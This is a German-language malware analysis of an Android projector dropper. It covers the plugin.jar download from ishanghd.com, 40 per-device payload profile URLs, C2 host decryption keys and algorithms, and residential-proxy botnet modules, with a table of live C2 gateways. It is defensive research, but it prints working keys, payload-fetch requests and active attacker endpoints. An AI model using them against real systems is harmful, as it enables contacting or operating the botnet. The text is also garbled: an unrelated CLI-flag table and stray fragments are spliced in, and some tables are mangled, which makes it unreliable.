`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` liefert `plugin.jar`, die nach `<cache>/plugin.jar` heruntergeladen und mit `DexClassLoader` geladen wird. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` ist der Einstiegspunkt.
**Pro-Gerät-App-List-Profil**
Dies sind die benutzerdefinierten Apps für jedes Gerät in der Kampagne (wahrscheinlich gepatcht, um DRM zu umgehen?)
`com.anlytics.plug.b` fingerprintet das Board (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, installierte Pakete, Dateien wie `/system/etc/voice.tar.gz`) gegen 40 hartcodierte Profile und wählt die passende `appsinfo/.../infos*.json`-URL aus den Konstanten in `com.tools.a` aus.
Diese Einheit liefert `com.ashd.launcher10` und meldet `persist.sys.cm.dtsmodel=AT-M269` / Board `ares`, und das einzige H713-"launcher10"-Profil in der Tabelle ist:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
| --no-color | Deaktiviert farbige Ausgabe |
| --debug | Aktiviert Debug-Protokollierung |
| --verbose | Aktiviert ausführliche Protokollierung |
| --quiet | Unterdrückt alle Ausgaben außer Fehlern |
| --config | Gibt eine benutzerdefinierte Konfigurationsdatei an |
| --timeout | Legt das Anforderungs-Timeout in Sekunden fest |
| --retry | Legt die Anzahl der Wiederholungsversuche für fehlgeschlagene Anforderungen fest |
| --proxy | Gibt einen Proxy für Anforderungen an |
| --user-agent | Legt den User-Agent-Header für Anforderungen fest |
| --header | Fügt einen benutzerdefinierten Header zu Anforderungen hinzu |
| --cookie | Fügt ein Cookie zu Anforderungen hinzu |
| --data | Sendet Daten im Anforderungstext |
| --json | Sendet JSON-Daten im Anforderungstext |
| | Sendet Formulardaten im Anforderungstext |
| | Schreibt die Ausgabe in eine Datei |
| | Liest die Eingabe aus einer Datei |
| | Unterdrückt alle Ausgaben |
| | Zeigt Versionsinformationen an |
| | Zeigt Hilfemeldungen an |```json
date 20240819
description "1、优化网络访问\n2、增强系统稳定性。"
appInfos
0
appVersionCode 425
appName "uninstall"
appPkgName "com.netflix.ninja"
appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018"
appUrl ""
1
appVersionCode 84
appName "launcher10"
appPkgName "com.ashd.launcher10"
appMd5 "3AA639AE6850189EB8EB4B288AFAD70A"
appUrl ""
2
appVersionCode 3
appName "platinum"
appPkgName "com.allwinnertech.platinum.media"
appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0"
appUrl ""
**Vollständige Liste der 40 Profil-URLs**
Jede ist wahrscheinlich eine Opfergerätefamilie innerhalb derselben Kampagne:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json
Jede infos*.json listet die Apps auf, die per pm install -r installiert werden sollen (Payload com.google.adtest + Cover-Apps wie Disney+), wie in 3. beschrieben.
C2-Host-Verschlüsselung
com.hs.p.basic.Hosts/EncryptUtils
Jeder Host-String ist AES/CFB/NoPadding (Schlüssel MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708"), gzip-komprimiert, dann base64:
API_MASTER_HOSTS: https://api.loritor.cc/TRACKER_SLAVE_HOSTS: https://api.loritor.cc/API_SLAVE_HOSTS: https://api.nizero.cc/TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (Priorität gegenüber API-Kanal vertauscht?)Sowohl loritor.cc als auch nizero.cc schienen zum Zeitpunkt dieses Tests nicht erreichbar zu sein.
Task-/Config-API-Pfade
GetTaskApi, GetConfigApi
POST <host>/0x01/ov/x1 (Config: Silent-Windows, Log-Toggle, Host-List-Push, Poll-Intervall) und POST <host>/0x01/ov/x2 (Task-Liste: cursor-paginiert jars[]/dexs[]/apks[], jeweils mit file_url/file_md5/vercode/task_id). Das "data"-Feld des Response-Bodys ist auf dieselbe Weise verschlüsselt, Schlüssel "ota.api.d3b194c07b63d688969c258719ca3f0f".
.rf-Modulformat
Entschlüsselung aller vier Module, die ich mit gültigen DSA-Signaturen habe:
[4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].
AES-Schlüssel = MD5("968a84be78d3421d5e771147dce2b766" + salt), gleicher fester IV wie oben.
Der DSA-Public-Key ist hardcodiert (1024-Bit, eingebettet in DexManager/JarExe). Der Klartext ist ein ZIP/APK, kein rohes dex.```
SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"}
SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"}
SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"}
SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}
### 9.4 com.ad.proxy
`SKN0041`
Der Eintrag `MainApi.start_W0017` startet den Client `Robin`. Zwei einfache HTTP(S)-Endpunkte, `channel`/`version` werden von demjenigen bereitgestellt, der das Modul aufruft:```
GET https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
# reports back which proxy gateways it reached
SKN0054
Domain/IP-Zeichenfolgen sind hier obfuskiert: Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip in der Klasse com.szns.sdk.t.
Der exakte Algorithmus wurde repliziert (analysis/tools/decode_szns_t.py) und alle vier hartcodierten Bootstrap-Endpunkte entschlüsselt:```
ac.a()
-> https://hgsdkszns.com
ac.b()
-> http://dporder.midrouterx.com/api/dispatch
(state 1: fetch "domain_info", cached 24h)
ac.c()
-> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico
(state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss")
ac.d()
-> 43.173.127.241:9090
(state 5: "ip_tcp_info" bootstrap)
Wenn keine zwischengespeicherte Dispatch-URL vorhanden ist (Zustand 7):
UDP-Sweep von `43.153.12.1` - `43.153.80.100:8080`
Senden der literalen ASCII-Nutzlast `"moon2"`, warten auf eine beliebige Antwort, die mit `http` beginnt. Diese Antwort wird zur Dispatch-URL.
Jede Bootstrap-Anfrage ist `POST <url>` mit den Formularfeldern `{"operator":<c>,"c":"moon2","name":<d>}` in `com.szns.sdk.x`.
Welche Dispatch-URL auch immer aufgelöst wird, an diese werden dieselben Felder per POST gesendet, und sie gibt die echte Gateway-Liste zurück, verschlüsselt als `AES/CBC/PKCS5` (Schlüssel `"5360e2884c119aa32a767ceb1c0889b0"`, zufälliger IV, Umschlag `base64(iv):base64(ciphertext)`)
Entschlüsseltes JSON-Format: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.
### 9.6. com.link.core
`SKN0058 `
Einzelnes fest einprogrammiertes Gateway, keine Discovery-Schicht: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. Für eigene Lookups verwendete DNS-Resolver: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. Liest `/proc/cpuinfo` und `/sys/class/net/{eth0,wlan0}/address` für Device-Fingerprinting.
### 9.7. ddth2 (VpsSdk)
`SKN0061`
Fest einprogrammierter Gateway-Pool, `ddth2.hidden.o`: Domains `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IPs `45.43.57.99`, `165.154.135.52`.
Ein persistentes, benutzerdefiniertes binäres TCP-Protokoll:
- verbinden
- `REGISTER`/`REGISTER_ACK`-Handshake (8-Byte-Frame-Header, Opcode+Länge)
- Gateway sendet dann Connect-Befehle (`{host, port}`
- gefiltert gegen private/Loopback-/Multicast-Bereiche, die pro Sitzung proxied Sockets erzeugen, was die "vielen parallelen Client-Instanzen" erklärt.
### 9.8. com.google.adtest
oder `com.fotas.wanapp ("com.speed")`
Der echte interne Paketname ist `com.fotas.wanapp` (App-Klasse `com.fotas.wanapp.APP`). `onCreate()` richtet drei Hosts nach demselben Master/Slave/Random-Muster wie `plugin.jar` ein:```
master -> https://api.pechlo.cc/
slave -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/
Die Geräte-Registrierung erfolgt über POST https://codedevapp.com/api/v1/device/dau.
Zwei Dienste werden gestartet:
com.google.android.AdServicecom.google.android.BakServiceSondiert reflektiv nach einer optionalen Klasse com.fotas.wanapp.ChannelSdkInit und initialisiert sie, falls vorhanden. App-ID-Strings: "wanapp", "WAN_AISHANG_001".
Schreibgeschützte Erreichbarkeitsprüfung von einem unabhängigen Host (keine Proxy-Protokolle/Nutzlasten gesendet, keine Interaktion mit dem Projektor selbst):
Entwickleroptionen:
Deviceversion.onKeyDown (Bildschirm „Geräteinfo" in den Einstellungen) wartet auf einen Konami-artigen Code, Up Up Down Down Left Left Right Right Center Center, der versucht, die Entwickleroptionen zu öffnen. Bei mir hat das nicht funktioniert.com.konka.readmain.MainActivity zu starten, eine unabhängige OEM-Werks-Test-App, die auf diesem Gerät nicht tatsächlich installiert ist. Ebenso, hat nicht funktioniert.```
adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion
adb shell input keyevent 19
adb shell input keyevent 19
adb shell input keyevent 20
adb shell input keyevent 20
adb shell input keyevent 21
adb shell input keyevent 21
adb shell input keyevent 22
adb shell input keyevent 22
adb shell input keyevent 23
adb shell input keyevent 23| Begriff | Funktion | LAN |
|---|
NetworkInterface (adtest, plugin, SKN0061) | Liest die eigene IP und MAC des Geräts für die Bot-ID | Nein |
DatagramSocket in SKN0041 | UDP-Relay für Proxy-Sitzungen zum Gateway | Nein |
DatagramSocket in SKN0054 | C2-Erkennung: durchsucht 43.153.12-80.1-100:8080 (öffentlicher Cloud-Bereich) | Nein |
ServerSocket in plugin.jar | Video-Re-Stream-Server, siehe unten | Nein |
Runtime.exec-Treffer (yiyou, plugin.jar, adtest, SKN0041/54/58/61) | Interna von Drittanbieter-SDKs, chmod 777 auf lokale Dateien, su/pm/dumpsys für Vordergrund-App- oder Root-Prüfungen und vom Betreiber ausgegebenes ping in SKN0041 | Nur ping-Befehl |
| UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/Subnetz-Berechnungen, ADB 5555, telnet | keine | Nein |
systemmixservice / libsystemmixservice.so / libsystemmix_jni.so | Binder-only OEM-Dienst: Property get/set, rohes Datei-Lesen/Schreiben/Löschen, mount/umount, Boot-Logo/-Animation. Kein socket/bind/connect/listen/accept-Symbol in einer der beiden Binärdateien | Nein |
qw | Superuser/ClockworkMod su-Daemon. Nur Unix-Domain-Socket-Pfade in seinen Strings (/dev/com.koushikdutta.superuser[.daemon]), kein IP-Literal, kein AF_INET | Nein |
com.android.nfx (NFXAccessibility) | Netflix-D-Pad-Navigationshelfer, nur aktiv, während com.netflix.mediaclient im Vordergrund ist. Das Manifest hat überhaupt keine INTERNET-Berechtigung | Nein |
| // SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only | ||
| str.equals("0.0.0.0") | str.matches("^10\..*") |
--form--output--input--silent--version--help| Host | DNS-/Verbindungsergebnis | Anmerkungen |
|---|
api.loritor.cc, api.nizero.cc | löst auf (Cloudflare), HTTP 404 auf / | aktiv; echte Pfade sind /0x01/ov/x1, /0x01/ov/x2 |
api.kookjar.com | löst auf (Cloudflare, 172.67.159.65), HTTP 204 | aktiv |
152.32.240.141 (SKN0041 Debug-Fallback) | TCP/80 Timeout | nicht erreichbar; ohnehin nur Debug-Pfad, Produktion nutzt api.kookjar.com |
dporder.midrouterx.com | löst direkt auf (43.174.196.241, Tencent Cloud), HTTP 200 auf /api/dispatch | aktiv |
seed-info.oss-ap-southeast-1.aliyuncs.com | löst auf (47.79.49.170, Alibaba Cloud SG), HTTP 200, liefert favorite.ico | aktiv |
hgsdkszns.com | löst auf (Cloudflare) | DNS aktiv; einfache HTTPS-Sonde zurückgesetzt (ungenutzter Zweig im aktuellen Build, siehe 10.5) |
43.173.127.241:9090 | roher TCP-Connect erfolgreich | aktiv, lauscht gerade jetzt |
api.eviceh.cc:16000 | löst auf (152.53.83.204) | DNS aktiv, TCP/16000 zum Prüfzeitpunkt verweigert (Gateway lauscht derzeit nicht) |
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52 | in diesem Durchlauf nicht erneut geprüft | siehe Abschnitt 11 |
api.pechlo.cc, api.logobi.cc | lösen auf (Cloudflare), HTTP 404 auf / | aktiv |
random.vivosoc.cc | kein DNS-Eintrag | scheint tot/abgelaufen |
codedevapp.com | löst auf (5.161.41.216, Hetzner) | aktiv; /api/v1/device/dau ist nur POST, daher bricht ein reines GET ab |
| Host / URL | Komponente | Rolle |
|---|
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.com | sysapp, yiyou | Root-OEM-Backend-Domain |
wjtysj.ishanghd.com/hx_kt.php | sysapp (AshdSysApp) | OTA-Updater-C2 (act=project&do=getPackageInfo) |
ty.ishanghd.com/work/app/wj/factory/update.json | yiyou | Dropper-Selbstupdate-Zeiger |
ty.ishanghd.com/work/app/wj/appsinfo/* (40 Pfade, siehe oben) | yiyou | Nutzlast-/App-Listen pro Gerätefamilie (pm install -r-Ziele) |
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json | yiyou | plugin.jar-Abrufzeiger |
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jar | yiyou | tatsächliche plugin.jar-Nutzlast (versionierter Pfad, ändert sich mit der Zeit) |
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zip | plugin.jar | Widevine-L3-DRM-Schlüssel-/Lizenzpaket, wird abgelegt, damit Streaming-Apps auf dem nicht zertifizierten Gerät laufen |
api.loritor.cc, api.nizero.cc | plugin.jar ("hs") | Task-/Konfig-API (/0x01/ov/x1, /0x01/ov/x2), sowohl als API-Kanal (Master/Slave) als auch als Tracker-Kanal (Slave/Master vertauscht) |
api.kookjar.com (+ 152.32.240.141 Debug) | SKN0041 | /signin, /report |
api.eviceh.cc:16000 | SKN0058 | einziges Gateway |
hgsdkszns.com | SKN0054 | zusätzlicher fest codierter Bootstrap-Host (ungenutzter Zweig im aktuellen Build) |
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, erreicht über den OSS-Bootstrap unten) | SKN0054 | primärer Dispatch-Bootstrap |
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico | SKN0054 | OSS-gehosteter Bootstrap-Redirector (Alibaba Cloud OSS) |
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.ico | SKN0054 | Tencent-COS-Backup-Spiegel derselben Bootstrap-Konfiguration |
43.173.127.241:9090 | SKN0054 | ip_tcp_info-Bootstrap-Host (exakter Port bestätigt, live) |
43.135.136.224 | SKN0054 | Dispatch-Gateway live beobachtet (tcp/7788 /api/dispatch, tcp/9090) |
43.159.148.198 | SKN0054 | Gateway-/Serverlisten-Endpunkt live beobachtet, /dp/getServer (wahrscheinlich dynamisch innerhalb der verschlüsselten node[]-Liste zurückgegeben) |
43.130.60.175 | SKN0054 | zusätzlicher Proxy-Gateway-Knoten (tcp/9090), live beobachtet |
43.153.12.1–43.153.80.100:8080 (UDP) | SKN0054 | Discovery-Sweep; Sonden-Nutzlast ist wörtliches ASCII moon2 |
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52 | SKN0061 | Gateway-Pool, benutzerdefiniertes TCP-Proxy-Protokoll |
api.pechlo.cc, api.logobi.cc, random.vivosoc.cc | com.speed / com.fotas.wanapp | Master-/Slave-/Random-C2 |
codedevapp.com/api/v1/device/dau | com.speed / com.fotas.wanapp | Geräte-Registrierung |
live.sz-cloudmedia.com:8080/ota/ | Legacy-OTA (ältere/Schwester-sysapp-Variante) | Sackgasse, die Domain hat keine ICP-Registrierung, Alibaba blockiert sie. |
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.com | yiyou (Umeng SDK) | Telemetrie von Drittanbieter-Analysen, die die vom yiyou-App gesammelten Geräte-Fingerabdrücke (Seriennummer, MACs, SSID/BSSID) überträgt |
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.com | yiyou (Baidu Mobile Stats SDK) | dieselbe Telemetrie-Rolle, über Baidu |
cmnsguider.yunos.com, ip.taobao.com, g3.le.com | yiyou | Alibaba-/Yunos-Geräte-Token- und öffentliche-IP-Lookup-Dienste, die zum Fingerprinting genutzt werden |